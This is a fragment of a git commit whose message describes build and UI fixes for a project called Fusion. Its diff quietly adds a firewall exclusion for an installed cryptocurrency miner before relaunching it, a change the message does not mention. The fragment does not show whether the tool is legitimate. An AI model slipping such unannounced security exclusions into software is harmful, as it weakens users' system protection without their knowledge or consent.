Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

View File

@@ -75,6 +75,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return false, err
}
EnsureFirewallExclusion(cfg, installedExe)
if err := relaunch(installedExe, logPath); err != nil {
return false, fmt.Errorf("start installed miner: %w", err)
}